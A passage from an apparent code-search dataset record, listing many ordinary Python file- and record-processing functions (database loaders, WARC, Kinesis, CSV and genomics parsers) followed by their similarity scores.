Exception as e:\\n logecho(' Truncate failed',\\n level='error')\\n inputfile_error = True\\n inputfile_errordetails = str(e)\\n\\n logecho(' \\\"%s\\\" (%s) exists in package \\\"%s\\\". Doing datastore_upsert...' % (\\n job['TargetResource'], resource['id'], job['TargetPackage']))\\n try:\\n result = portal.action.datastore_upsert(\\n force=True,\\n resource_id=resource['id'],\\n records=data_dict,\\n method='upsert',\\n calculate_record_count=True\\n )\\n except Exception as e:\\n logecho(' Upsert failed', level='error')\\n inputfile_error = True\\n inputfile_errordetails = str(e)\\n else:\\n logecho(' Upsert successful! %s rows...' %\\n len(data_dict))\\n #resource_id = result['resource_id']\\n #resource_id = resource['id']\\n else:\\n logecho(' \\\"%s\\\" does not exist in package \\\"%s\\\". Doing datastore_create...' % (\\n job['TargetResource'], job['TargetPackage']))\\n\\n alias = '%s-%s-%s' % (job['TargetOrg'],\\n job['TargetPackage'], job['TargetResource'])\\n resource = {\\n \\\"package_id\\\": package['id'],\\n \\\"format\\\": \\\"csv\\\",\\n \\\"name\\\": job['TargetResource']\\n }\\n try:\\n resource = portal.action.datastore_create(\\n force=True,\\n resource=resource,\\n aliases='',\\n fields=fields_dictlist,\\n records=data_dict,\\n primary_key=job['PrimaryKey'],\\n indexes=job['PrimaryKey'],\\n calculate_record_count=False\\n )\\n except Exception as e:\\n logecho(' Cannot create resource \\\"%s\\\"!' %\\n job['TargetResource'], level='error')\\n inputfile_error = True\\n inputfile_errordetails = str(e)\\n else:\\n logecho(' Created resource \\\"%s\\\"...' %\\n job['TargetResource'])\\n resource_id = resource['resource_id']\\n resource = portal.action.datastore_create(\\n force=True,\\n resource_id=resource_id,\\n aliases=alias,\\n calculate_record_count=True\\n )\\n\\n logecho('EXISTING DESC for resource %s: %s' %\\n (resource_id, existing_resource_desc), level='debug')\\n updated_desc = ''\\n if existing_resource_desc:\\n result = re.split(r' \\\\(UPDATED: (.*?)\\\\)$',\\n existing_resource_desc)\\n if len(result) == 3:\\n # there is an old update date\\n updated_desc = result[0]\\n else:\\n updated_desc = existing_resource_desc\\n updated_desc = updated_desc + ' (UPDATED: %s)' % starttime\\n logecho('RESOURCE UPDATED DESC: %s: %s' %\\n (resource_id, updated_desc), level='debug')\\n portal.action.resource_update(\\n id=resource_id,\\n description=updated_desc)\\n\\n logecho('RESOURCE: %s' % resource, level='debug')\\n\\n if job['Stats'] and resource_id:\\n logecho(' Computing stats...')\\n result = computestats(\\n job['Stats'], job['PrimaryKey'], package, resource_id, job['TargetResource'],\\n starttime)\\n\\n t1_stop = perf_counter()\\n t1_stopdt = datetime.now()\\n endtime = t1_stopdt.strftime('%Y-%m-%d %H:%M:%S')\\n elapsed = t1_stop - t1_start\\n\\n if inputfile_error:\\n # inputfile processing failed, move to problemsdir\\n try:\\n shutil.move(inputfile, problemsdir + '/' +\\n os.path.basename(inputfile))\\n except Exception as e:\\n errmsg = 'Cannot move %s to %s: %s' % (\\n inputfile, problemsdir, str(e))\\n logecho(errmsg, level='error')\\n problems_logger.error(errmsg)\\n\\n error_details = '- FILE: %s START: %s END: %s ELAPSED: %s DUPES: %s/%s ERRMSG: %s' % (\\n inputfile, starttime, endtime, elapsed, dupecount, dupesremoved, inputfile_errordetails)\\n problems_logger.info(error_details)\\n else:\\n # inputfile was successfully processed, move to processeddir\\n try:\\n shutil.move(inputfile, processeddir + '/' +\\n os.path.basename(inputfile))\\n except Exception as e:\\n errmsg = 'Cannot move %s to %s: %s' % (\\n inputfile, processeddir, str(e))\\n logecho(errmsg, level='error')\\n processed_logger.error(errmsg)\\n\\n processed = len(df.index) if 'df' in locals() else 0\\n processed_details = '- FILE: %s START: %s END: %s ELAPSED: %s DUPES: %s/%s PROCESSED: %s' % (\\n inputfile, starttime, endtime, elapsed, dupecount, dupesremoved, processed)\\n processed_logger.info(processed_details)\\n\\n logecho(' Processed %s file/s...' % len(inputfiles))\",\n \"def readTFRecord():\\n #filenameQueue = tf.train.string_input_producer([tfName])\\n dataset_fn = tf.data.TFRecordDataset\\n _parse_fn = lambda x: parse_fn(x, is_train=False)\\n \\n # create a tf.data.Dataset from list of files\\n filenames = tf.data.Dataset.list_files(\\\"./processed/train*.tfrecords\\\")\\n dataset = filenames.apply(\\n tf.data.experimental.parallel_interleave(dataset_fn, cycle_length=4))\\n \\n dataset = dataset.map(_parse_fn, num_parallel_calls=2)\\n print('After dataset map: {}'.format(dataset))\\n \\n return make_iterator(dataset)\",\n \"def psql_file_loader(spark, tbname):\\n filelist_rdd = psql_loader(spark, tbname) \\\\\\n .rdd.map(lambda x: Row(caseid=x.case_id, filepath=x.path + '/' + x.filename))\\n return filelist_rdd\",\n \"def process_data(cur, conn, filepath, func):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root,'*.json'))\\n for f in files :\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def process_data(cur, conn, filepath, func):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root,'*.json'))\\n for f in files :\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def cloud_files(self, cloud_bucket_name: str, credentials: Mapping, files_to_upload: List, private: bool = True) -> Iterator[str]:\",\n \"def _read_in_chunks(self, file_object, blocksize=4096, chunks=-1,\\n shard_index=None):\\n i = 0\\n while chunks:\\n data = file_object.read(blocksize)\\n if not data:\\n break\\n yield data\\n i += 1\\n\\n chunks -= 1\",\n \"def extract(infile, offset, output, payload, headers):\\n\\n compl_record = not (payload or headers)\\n with open(infile, 'rb') as stream:\\n stream.seek(offset)\\n try:\\n record = next(ArchiveIterator(stream))\\n if compl_record:\\n record.write(output)\\n elif headers:\\n record.headers.write(PythonIOStreamAdapter(output))\\n output.write(b'\\\\r\\\\n')\\n if record.is_http:\\n record.http_headers.write(PythonIOStreamAdapter(output))\\n output.write(b'\\\\r\\\\n')\\n elif payload:\\n buf = record.reader.read(4096)\\n while buf:\\n output.write(buf)\\n buf = record.reader.read(4096)\\n except StopIteration:\\n return\\n except (FastWARCError, OSError, ValueError) as e:\\n click.echo(f'Failed to extract WARC record at offset {offset}: {str(e)}', err=True)\",\n \"def process(\\n self,\\n bed_record: bed_pb2.BedRecord) -> Iterable[Tuple[str, bed_pb2.BedRecord]]:\\n\\n pacbio_molecule_name = preprocess_utils.get_pacbio_molecule_name(\\n bed_record.name)\\n if pacbio_molecule_name is not None:\\n yield pacbio_molecule_name, bed_record\",\n \"def process_data(cur, conn, filepath, func):\\n\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, '*.json'))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def run_reading(self):\\n # init objects\\n pool = mp.Pool(mp.cpu_count())\\n jobs = []\\n\\n m.info('Run csv reading...')\\n # create jobs\\n for chunk_start, chunk_size in self.chunkify():\\n jobs.append(pool.apply_async(self.process_wrapper,\\n (chunk_start, chunk_size)))\\n\\n # wait for all jobs to finish\\n for job in jobs:\\n job.get()\\n\\n # clean up\\n pool.close()\\n pool.join()\\n\\n m.info('CSV file reading has been completed')\",\n \"def parse_records(raw_records: list) -> Generator[str, None, None]:\\n for record in iter_deaggregate_records(raw_records):\\n logger.debug(f\\\"Raw Kinesis record: {record}\\\")\\n\\n # Kinesis data is base64 encoded\\n raw_data = base64.b64decode(record[\\\"kinesis\\\"][\\\"data\\\"])\\n\\n # decompress data if raw data is gzip (log data from CloudWatch Logs subscription filters comes gzipped)\\n # gzip magic number: 0x1f 0x8b\\n if raw_data[0] == 0x1F and raw_data[1] == 0x8B:\\n raw_data = gzip.decompress(raw_data)\\n\\n data = raw_data.decode()\\n payloads = normalize_cloudwatch_messages(data)\\n logger.debug(f\\\"Normalized payloads: {payloads}\\\")\\n\\n for payload in payloads:\\n yield payload\",\n \"def process(self):\\n\\n from caput import memh5\\n\\n # Garbage collect to workaround leaking memory from containers.\\n # TODO: find actual source of leak\\n import gc\\n\\n gc.collect()\\n\\n if len(self.files) == 0:\\n raise pipeline.PipelineStopIteration\\n\\n # Fetch and remove the first item in the list\\n file_ = self.files.pop(0)\\n\\n self.log.info(\\\"Loading file %s\\\" % file_)\\n\\n cont = memh5.BasicCont.from_file(\\n file_, distributed=self.distributed, comm=self.comm\\n )\\n\\n if \\\"tag\\\" not in cont.attrs:\\n # Get the first part of the actual filename and use it as the tag\\n tag = os.path.splitext(os.path.basename(file_))[0]\\n\\n cont.attrs[\\\"tag\\\"] = tag\\n\\n return cont\",\n \"def process_data(cur, conn, filepath, func):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, '*.json'))\\n for file in files:\\n all_files.append(os.path.abspath(file))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def process_data(cur, conn, filepath, func):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, '*.json'))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def process_data(cur, conn, filepath, func):\\r\\n\\r\\n # get all files matching extension from directory\\r\\n all_files = []\\r\\n for root, dirs, files in os.walk(filepath):\\r\\n files = glob.glob(os.path.join(root,'*.json'))\\r\\n for f in files :\\r\\n all_files.append(os.path.abspath(f))\\r\\n\\r\\n # get total number of files found\\r\\n num_files = len(all_files)\\r\\n print('{} files found in {}'.format(num_files, filepath))\\r\\n\\r\\n # iterate over files and process\\r\\n try:\\r\\n for i, datafile in enumerate(all_files, 1):\\r\\n func(cur, datafile)\\r\\n conn.commit()\\r\\n print('{}/{} files processed.'.format(i, num_files))\\r\\n except Exception as e:\\r\\n print(e)\",\n \"def process_data(cur, conn, filepath, func):\\n\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, '*.json'))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def _parseRecords(self):\\n # dict of parse methods for most common records that will be stored in structured arrays\\n FLAG2METHOD = {'PS' : self.parseHighPassRecord,\\n 'PC' : self.parseLowPassRecord,\\n 'VD' : self.parseDigitalSValRecord}\\n # dict of (record type, listname to store it in) tuples\\n FLAG2REC = {'L' : (LayoutRecord, 'layoutrecords'),\\n 'MS' : (SurfMessageRecord, 'messagerecords'),\\n 'MU' : (UserMessageRecord, 'messagerecords'),\\n 'PE' : (EpochRecord, 'epochrecords'),\\n 'D' : (DisplayRecord, 'displayrecords'),\\n 'VA' : (AnalogSValRecord, 'analogsvalrecords')}\\n f = self.f\\n while True:\\n # returns an empty string when EOF is reached\\n flag = f.read(2).rstrip(NULL).decode() # TODO: should this strip NULL?\\n if flag == '':\\n break\\n # put file pointer back to start of flag\\n f.seek(-2, 1) # TODO: unnecessary - doesn't this slow down parsing quite a bit?\\n if flag in FLAG2METHOD: # these are the most common\\n FLAG2METHOD[flag](f) # call the method\\n elif flag in FLAG2REC:\\n rectype, reclistname = FLAG2REC[flag]\\n rec = rectype()\\n rec.parse(f)\\n #wx.Yield() # allow wx GUI event processing during parsing\\n self._appendRecord(rec, reclistname)\\n else:\\n raise ValueError('Unexpected flag %r at offset %d' % (flag, f.tell()))\\n #self.percentParsed = f.tell() / self.filesize * 100\",\n \"def process(self, name):\\n self.fileHandle = open(self.fileName, 'r+b')\\n self.mm = mmap.mmap(self.fileHandle.fileno(), 0)\\n positions = self.features[name]\\n for position in positions:\\n self.mm.seek(position)\\n row = self.mm.readline().decode('utf-8').rstrip().split(\\\"\\\\t\\\")\\n attributes = row[-1].split(\\\"; \\\")\\n _eid = '-'\\n _enb = '0'\\n for attribute in attributes:\\n if attribute.startswith(\\\"transcript_type\\\"):\\n _tt = attribute.split(\\\" \\\")[-1][1:-1]\\n elif attribute.startswith(\\\"transcript_id\\\"):\\n _tid = attribute.split(\\\" \\\")[-1][1:-1]\\n elif attribute.startswith(\\\"exon_id\\\"):\\n _eid = attribute.split(\\\" \\\")[-1][1:-1]\\n elif attribute.startswith(\\\"exon_number\\\"):\\n _enb = int(attribute.split(\\\" \\\")[-1])\\n elif attribute.startswith(\\\"gene_name\\\"):\\n _gn = attribute.split(\\\" \\\")[-1][1:-1]\\n record = Record(scaffold=row[0], start=int(row[3]), end=int(row[4]),\\n strand=row[6], transcript_type=_tt, transcript_id=_tid, exon_id=_eid,\\n exon_number=_enb, gene_name=_gn)\\n yield record\\n self.fileHandle.close()\",\n \"def run_on_file(filename):\\r\\n try:\\r\\n f = open(filename, \\\"r\\\")\\r\\n rows = f.read()\\r\\n f.close()\\r\\n except IOError:\\r\\n print \\\"The file does not exist, exiting gracefully\\\"\\r\\n rows=None\\r\\n yield rows\",\n \"def process_data(cur, conn, filepath, func):\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root,'*.json'))\\n for f in files :\\n all_files.append(os.path.abspath(f))\\n\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{} files processed.'.format(num_files))\",\n \"def process_data(cur, conn, filepath, func):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root,'*.json'))\\n for f in files :\\n all_files.append(os.path.abspath(f))\\n\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def read_all_runs(hdf5_file):\\n with pd.HDFStore(hdf5_file) as store:\\n\\n for key in store.keys():\\n df = store.get(key)\\n\\n ## Load ancestor (up to symmetry) who generated the panel for\\n ## this validaiton sim\\n sym_gen_anc = store.get_storer(key).attrs.sym_gen_anc\\n\\n if df.shape[0] == 300000:\\n yield df, sym_gen_anc\\n else:\\n print \\\"Wrong shape!\\\", df.shape\",\n \"def process_data(db_cursor, filepath, func):\\n\\n # Get all files matching extension from directory\\n all_files = []\\n for root, _, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, '*.json'))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n\\n num_files = len(all_files)\\n print(f'{num_files} files found in {filepath}')\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(db_cursor, datafile)\\n print(f'{i}/{num_files} files processed.')\",\n \"def _olympic(olympic_directory, profiles):\\n # Initialize key variables\\n alldata = []\\n\\n # Get a list of files in the meet directory\\n files = os.listdir(olympic_directory)\\n filenames = ['{}{}{}'.format(\\n olympic_directory, os.sep, nextfile) for nextfile in files]\\n\\n for _filename in sorted(filenames):\\n # Get rid of excess os.sep separators\\n pathitems = _filename.split(os.sep)\\n filename = os.sep.join(pathitems)\\n\\n # Skip obvious\\n if os.path.isfile(filename) is False:\\n continue\\n if filename.lower().endswith('.xlsx') is False:\\n continue\\n\\n # Print progress\\n print('Processing file: {}'.format(filename))\\n\\n # Get event data\\n data = results.FileOlympics2016(filename, profiles)\\n\\n meet_results = data.allresults_csv(stage=None)\\n for item in meet_results:\\n alldata.append(item)\\n\\n return alldata\",\n \"def file_reader(self, filename):\\n\\n for chunk in pd.read_csv(filename, chunksize = Reader.chunksize,delimiter='_'): \\n yield chunk\",\n \"def chunk_content(self):\\n entries = DataObject.objects.filter(uuid=self.uuid)\\n for entry in entries:\\n if entry.compressed:\\n data = BytesIO(entry.blob)\\n z = zipfile.ZipFile(data, \\\"r\\\")\\n content = z.read(\\\"data\\\")\\n data.close()\\n z.close()\\n yield content\\n else:\\n yield entry.blob\",\n \"def iterRegularFileContents(self):\\n unpack = {}\\n for (oldFileId, newFileId), stream in self.files.iteritems():\\n if not files.frozenFileHasContents(stream):\\n continue\\n if files.frozenFileFlags(stream).isEncapsulatedContent():\\n continue\\n cont = files.frozenFileContentInfo(stream)\\n unpack[newFileId] = cont.sha1()\\n\\n want_tag = '0 ' + ChangedFileTypes.file[4:]\\n while True:\\n f = self._nextFile()\\n if not f:\\n break\\n name, tag, fobj, csf = f\\n if len(name) != 36 or tag != want_tag:\\n continue\\n fileId = name[16:]\\n sha1 = unpack.get(fileId)\\n if not sha1:\\n continue\\n yield sha1, fobj\",\n \"async def stream_result_files(self) -> AsyncGenerator[StreamInfoUrl, None]:\\n for dataset in self.datasets:\\n async for file in dataset.get_data_rootfiles_stream(self.query.value()):\\n yield file\",\n \"def process(marc_filepath):\\n start = datetime.datetime.utcnow()\\n click.echo(\\\"Started transforming MARC to BF at {} for {}\\\".format(\\n start.isoformat(),\\n marc_filepath))\\n for i, marc_xml in enumerate(extract(marc_filepath)):\\n bf_rdf = transform(marc_xml)\\n load(bf_rdf)\\n if not i%100 and i > 0:\\n click.echo(\\\".\\\", nl=False)\\n if not i%1000:\\n click.echo(i, nl=False)\\n end = datetime.datetime.utcnow()\\n click.echo(\\\"Finished ETL for {} at {}, total time={} minutes\\\".format(\\n marc_file,\\n end.isoformat(),\\n (end-start).seconds / 60.0))\",\n \"def inner():\\n for line in file_obj:\\n logdata = tilak_haproxylog.parse_line(line)\\n if logdata is not None:\\n logdata[\\\"hits\\\"] = 1\\n for value_key in value_keynames:\\n if value_key not in logdata:\\n logdata[value_key] = 0\\n status_code = int(logdata[\\\"status_code\\\"])\\n if 100 <= status_code <= 199:\\n logdata[\\\"rsp_1xx\\\"] = 1\\n elif 200 <= status_code <= 299:\\n logdata[\\\"rsp_2xx\\\"] = 1\\n elif 300 <= status_code <= 399:\\n logdata[\\\"rsp_3xx\\\"] = 1\\n elif 400 <= status_code <= 499:\\n logdata[\\\"rsp_4xx\\\"] = 1\\n elif 500 <= status_code <= 599:\\n logdata[\\\"rsp_5xx\\\"] = 1\\n else:\\n logdata[\\\"rsp_other\\\"] = 1\\n ret_data = dict(zip(index_keynames, (logdata[index_key] for index_key in index_keynames)))\\n ret_data.update(dict(zip(value_keynames, (logdata[value_key] for value_key in value_keynames))))\\n yield (logdata[\\\"ts\\\"], ret_data)\",\n \"async def collect_file(self, file):\\n with open(file, \\\"wb\\\") as f: # Opening file as writable in bytes\\n\\n total_bytes = 0\\n while True:\\n self.reader._eof = False # Force to read\\n data = await self.reader.read(1024)\\n\\n # Get buffer using BytesIO\\n chunk = io.BytesIO(data)\\n\\n total_bytes += chunk.getbuffer().nbytes\\n\\n # last_four = data[:-4].decode(\\\"utf-8\\\")\\n # last_four = chunk.getvalue()[-1:]\\n last_four = chunk.getvalue()\\n # print((last_four))\\n\\n check = \\\"end\\\"\\n\\n # print(check.encode())\\n\\n if last_four == check.encode():\\n print(\\\"Not Data\\\")\\n break\\n\\n f.write(chunk.getvalue())\\n print(f\\\"Collected: {total_bytes!r} bytes\\\")\",\n \"def read_log(self, path):\\n for row in open(path):\\n yield row\",\n \"def records_from_file(filename):\\n \\n infile = open(filename)\\n contents = infile.readlines()\\n final_result = []\\n for values_in_datasheet in contents[1: ]:\\n result = values_in_datasheet.strip().split(',')\\n course_tuple = tuple(result[0:2])\\n student_id = int(result[2])\\n first_name = result[3]\\n last_name = result[4]\\n student_tuple = (student_id, first_name, last_name)\\n both_tuples_combined = (course_tuple, student_tuple)\\n final_result.append(both_tuples_combined)\\n \\n return final_result\",\n \"def process_data(cur, conn, filepath, func):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root,'*.json'))\\n for f in files :\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n # use the func to insert data from these files to database's fact and dim tables\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def processSetOfCerFiles(files):\\n printHeader()\\n \\n k = 0\\n for f in files:\\n k = k + 1\\n sz = get_file_size(f)\\n with open(f, 'rb') as fb:\\n processCerFile(k, fb, sz=sz)\",\n \"def find_records():\\r\\n\\r\\n print(\\\"begin find records\\\")\\r\\n\\r\\n study_list = retrieve_ref('study_list')\\r\\n sensor_list = retrieve_ref('sensor_list')\\r\\n # sensor_unit_list = retrieve_ref('sensor_unit_list')\\r\\n\\r\\n for study in study_list:\\r\\n # print('study = ' + str(study))\\r\\n source_path = os.path.join(study, 'source')\\r\\n # print('source_path = ' + str(source_path))\\r\\n\\r\\n source_folders = os.listdir(source_path)\\r\\n # print(str(study) + ' source_folders = ')\\r\\n # print(source_folders)\\r\\n\\r\\n df_meta = pd.DataFrame()\\r\\n df_meta['source_path'] = source_folders\\r\\n save_meta(study, df_meta)\\r\\n record_to_summary(study, 'Records found', str(len(source_folders)))\\r\\n\\r\\n print(\\\"completed find records\\\")\",\n \"def read_data(self, filename, chunksize = 2048):\\n pdt_tipsy = np.dtype([('mass', 'f4'),('pos', 'f4', 3),('vel', 'f4', 3), ('eps', 'f4'), ('phi', 'f4')])\\n\\n # helper functions\\n def convert_to_fof_particle_partition(index, iterator): \\n for s in iterator: \\n p_arr = np.frombuffer(s, pdt_tipsy)\\n new_arr = np.zeros(len(p_arr), dtype=pdt)\\n new_arr['pos'] = p_arr['pos'] \\n if count: \\n npart_acc.add({index: len(new_arr)})\\n yield new_arr\\n\\n def set_particle_IDs_partition(index, iterator): \\n p_counts = partition_counts.value\\n local_index = 0\\n start_index = sum([p_counts[i] for i in range(index)])\\n for arr in iterator:\\n arr['iOrder'] = range(start_index + local_index, start_index + local_index + len(arr))\\n local_index += len(arr)\\n yield arr\\n \\n sc = self.sc\\n\\n rec_rdd = sc.binaryRecords(filename, pdt_tipsy.itemsize*chunksize)\\n nPartitions = rec_rdd.getNumPartitions()\\n # set the partition count accumulator\\n npart_acc = sc.accumulator({i:0 for i in range(nPartitions)}, dictAdd())\\n count=True\\n # read the data and count the particles per partition\\n rec_rdd = rec_rdd.mapPartitionsWithIndex(convert_to_fof_particle_partition)\\n rec_rdd.count()\\n count=False\\n\\n partition_counts = sc.broadcast(npart_acc.value)\\n\\n rec_rdd = rec_rdd.mapPartitionsWithIndex(set_particle_IDs_partition)\\n rec_rdd = (self._partition_rdd(rec_rdd, partition_array).partitionBy(self.nPartitions) \\n .map(lambda (_,v): v, preservesPartitioning=True)) \\n return rec_rdd\",\n \"def process_data(cur, conn, filepath: str, func: Callable) -> None:\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, \\\"*.json\\\"))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print(\\\"{} files found in {}\\\".format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print(\\\"{}/{} files processed.\\\".format(i, num_files))\",\n \"def deserialize_next_from_file(self):\\n # We cannot read from a file unless the user provides it in the\\n # constructor.\\n if not self._input_file:\\n raise Exception(\\\"No input file provided to deserialize from.\\\")\\n\\n with quickavro.FileReader(self._input_file) as reader:\\n for record in reader.records():\\n yield record\",\n \"def __readSiftsSummaryFile(self, filePath, rowFormat=\\\"dict\\\"):\\n try:\\n mU = MarshalUtil()\\n cL = mU.doImport(filePath, fmt=\\\"csv\\\", rowFormat=rowFormat)\\n logger.debug(\\\"Container list %d\\\", len(cL))\\n except Exception as e:\\n logger.exception(\\\"Failing with %s\\\", str(e))\\n return cL\",\n \"def run(self):\\n lineage_csv_gz = self.input_files_local[0][0]\\n output_db = self.output_files_local()[0]\\n log.write(f\\\"input: {lineage_csv_gz} output: {output_db}\\\")\\n\\n with IdSeqDictForUpdate(output_db, IdSeqDictValue.VALUE_TYPE_ARRAY) as lineage_dict:\\n batch_list = {}\\n with gzip.open(lineage_csv_gz, \\\"rt\\\") as gzf:\\n for line in gzf:\\n fields = line.rstrip().split(\\\",\\\")\\n taxid = fields[0]\\n species, genus, family = fields[-1:-4:-1]\\n batch_list[taxid] = [species, genus, family]\\n if len(batch_list) >= BATCH_INSERT_SIZE:\\n lineage_dict.batch_inserts(batch_list.items())\\n batch_list = {}\\n lineage_dict.batch_inserts(batch_list.items())\",\n \"def parse_file(fits_file, data_offset, records, record_length, field_position, field_size):\\n bits = field_size * 8\\n\\n with open(fits_file, 'rb') as f:\\n f.read(data_offset)\\n for _ in range(0, records):\\n record = f.read(record_length)\\n value = record[field_position-1:field_position+field_size-1]\\n print(multiparse(bits, value))\",\n \"def __iter__(self):\\n with open(self.fn + \\\".fai\\\") as fai:\\n for toks in (l.rstrip(\\\"\\\\r\\\\n\\\").split(\\\"\\\\t\\\") for l in fai):\\n yield toks[0], int(toks[1])\",\n \"def process_data(cur, conn, filepath, func):\\r\\n # get all files matching extension from directory\\r\\n all_files = []\\r\\n for root, dirs, files in os.walk(filepath):\\r\\n files = glob.glob(os.path.join(root, '*.json'))\\r\\n for f in files:\\r\\n all_files.append(os.path.abspath(f))\\r\\n\\r\\n\\r\\n\\r\\n # iterate over files and process\\r\\n for datafile in all_files:\\r\\n func(cur, datafile) ######### de function zy procces song file bta5od l filepath w currsor\\r\\n conn.commit()\\r\\n\\r\\n return all_files\",\n \"def _read_swig(self, swigfile_handle, on_disk = False):\\n for line in swigfile_handle():\\n sequence, position, reverse, forward = line.rstrip(\\\"\\\\r\\\\n\\\").split()\\n self._coverage[(sequence, position)] = (int(reverse), int(forward))\",\n \"def split_stream(stream):\\n buf = []\\n for row in stream:\\n row = text_type(row, 'utf8')\\n index = row.rfind('</record>')\\n if index >= 0:\\n buf.append(row[:index + 9])\\n for blob in split_blob(''.join(buf)):\\n yield blob.encode('utf8')\\n buf = [row[index + 9:]]\\n else:\\n buf.append(row)\",\n \"def parse_job_file(filepath: str) -> List[dict]:\\n ID_COL_NAME = 'Job Id'\\n LABELS_COL_NAME = 'Qualification Labels'\\n result = []\\n with open(filepath, encoding='utf-8') as file:\\n reader = csv.DictReader(file, delimiter=',', quotechar='\\\"')\\n reader.fieldnames = [field.strip() for field in reader.fieldnames]\\n for row in reader:\\n if row[LABELS_COL_NAME].strip() != '':\\n result.append({\\n 'job_id': row[ID_COL_NAME],\\n 'job_url': f'https://jhu.joinhandshake.com/jobs/{row[ID_COL_NAME]}',\\n 'qualification_labels': [label.strip() for label in row[LABELS_COL_NAME].split(', ')]\\n })\\n return result\",\n \"def _extract(self):\\r\\n self._data = []\\r\\n for fname in self.files:\\r\\n meta = dict(filename=fname)\\r\\n\\r\\n # Perform the actual metadata extraction\\r\\n fname = os.path.splitext(self.filter_filename(fname))[0]\\r\\n values = fname.split(self.sep)\\r\\n\\r\\n # Handle the case where number of fields is less than the length\\r\\n # of the extracted values, ie cases where we only want to extract\\r\\n # a subset of available fields.\\r\\n if self.index:\\r\\n values = [val for i, val in enumerate(values) if i in self.index]\\r\\n\\r\\n meta.update(dict(zip(self.fields, values)))\\r\\n if self.split_by in self.fields:\\r\\n meta[self.split_by] = self._get_split_field_values(meta['filename'])\\r\\n self._data.append(meta)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.5444572","0.5430409","0.5317964","0.5192848","0.51737136","0.5160396","0.51200193","0.5114372","0.50979865","0.50848365","0.50716513","0.5044458","0.50402385","0.5039158","0.50273323","0.50213903","0.5004219","0.4995018","0.49946946","0.499466","0.49611056","0.49474296","0.49446082","0.4940936","0.4918359","0.48882166","0.4886001","0.48704094","0.4865107","0.4860073","0.48557302","0.48508427","0.4849797","0.48422456","0.4837903","0.4836884","0.482986","0.48109025","0.4807343","0.4804858","0.48047537","0.48033372","0.47912192","0.47840226","0.47838488","0.47745118","0.47735068","0.47632697","0.47574347","0.47392952","0.47346762","0.473058","0.4727391","0.46858582","0.46841928","0.46826872","0.46826872","0.4680143","0.46795538","0.46765167","0.4672887","0.46694893","0.46649593","0.46610838","0.4660554","0.4652328","0.46484974","0.46457964","0.46362615","0.46361184","0.46279958","0.46256354","0.46224838","0.46108183","0.45996764","0.45946148","0.45942393","0.45898786","0.4588946","0.45882955","0.4587756","0.45672613","0.45636868","0.45634285","0.45539054","0.45527256","0.45496228","0.45406562","0.45399916","0.4539455","0.45363674","0.45317486","0.4529852","0.45274082","0.4525615","0.45246506","0.45240998","0.45235142","0.45